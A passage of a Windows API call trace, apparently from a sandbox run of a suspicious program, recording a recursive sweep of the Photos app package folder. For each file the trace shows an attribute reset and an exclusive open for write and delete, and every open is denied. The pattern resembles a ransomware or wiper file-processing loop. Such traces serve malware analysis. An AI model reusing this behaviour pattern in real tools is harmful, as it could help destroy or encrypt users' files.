	[0082.071] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.071] wcscmp (_String1="..", _String2=".") returned 1
	[0082.071] wcscmp (_String1="..", _String2="..") returned 0
	[0082.071] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e61487, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e61487, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.071] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.071] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4766010
	[0082.071] wcscpy (in: _Dest=0x4766010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0082.071] wcscat (in: _Dest=0x4766010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0082.071] wcscat (in: _Dest=0x4766010, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.980] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.982] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.982] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.982] GetLastError () returned 0x5
	[0090.982] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.982] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766010) returned 1
	[0090.982] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e61487, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e61487, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.982] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.982] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778660
	[0090.982] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.982] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.982] wcscat (in: _Dest=0x4778660, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.982] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.982] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.982] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.983] GetLastError () returned 0x5
	[0090.983] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0090.983] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86e876e0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86e876e0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.983] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.983] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778060
	[0090.983] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.983] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.983] wcscat (in: _Dest=0x4778060, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.983] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.983] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.983] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.983] GetLastError () returned 0x5
	[0090.983] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.983] FindNextFileW (in: hFindFile=0x46a7390, lpFindFileData=0x470fbf0 | out: lpFindFileData=0x470fbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a896e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.983] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.983] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d448
	[0090.984] wcscpy (in: _Dest=0x491d448, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.984] wcscat (in: _Dest=0x491d448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.984] wcscat (in: _Dest=0x491d448, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d088
	[0090.984] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.984] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.984] wcscat (in: _Dest=0x491d088, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*"
	[0090.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c948
	[0090.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a896e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0090.986] wcscmp (_String1=".", _String2=".") returned 0
	[0090.986] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb10a896e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86ef9df1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.986] wcscmp (_String1="..", _String2=".") returned 1
	[0090.986] wcscmp (_String1="..", _String2="..") returned 0
	[0090.986] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ead93a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ead93a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.986] wcscmp (_String1="PhotosAppList.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.986] wcscmp (_String1="PhotosAppList.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ed00
	[0090.986] wcscpy (in: _Dest=0x481ed00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.986] wcscat (in: _Dest=0x481ed00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.987] wcscat (in: _Dest=0x481ed00, _Source="PhotosAppList.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png"
	[0090.987] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-125.png")) returned 0x20
	[0090.988] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.988] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.989] GetLastError () returned 0x5
	[0090.989] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.989] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0090.989] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ead93a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ead93a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.989] wcscmp (_String1="PhotosAppList.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.989] wcscmp (_String1="PhotosAppList.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481e030
	[0090.989] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.989] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.989] wcscat (in: _Dest=0x481e030, _Source="PhotosAppList.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png"
	[0090.989] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-125.png")) returned 0x20
	[0090.991] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.991] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.991] GetLastError () returned 0x5
	[0090.991] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0090.991] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ead93a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.scale-125.png", cAlternateFileName="")) returned 1
	[0090.991] wcscmp (_String1="PhotosAppList.scale-125.png", _String2=".") returned 1
	[0090.991] wcscmp (_String1="PhotosAppList.scale-125.png", _String2="..") returned 1
	[0090.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d86010
	[0090.991] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.991] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.991] wcscat (in: _Dest=0x2d86010, _Source="PhotosAppList.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png"
	[0090.991] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.scale-125.png")) returned 0x20
	[0090.994] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.994] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosapplist.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.994] GetLastError () returned 0x5
	[0090.994] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0090.994] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.994] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.994] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d86010
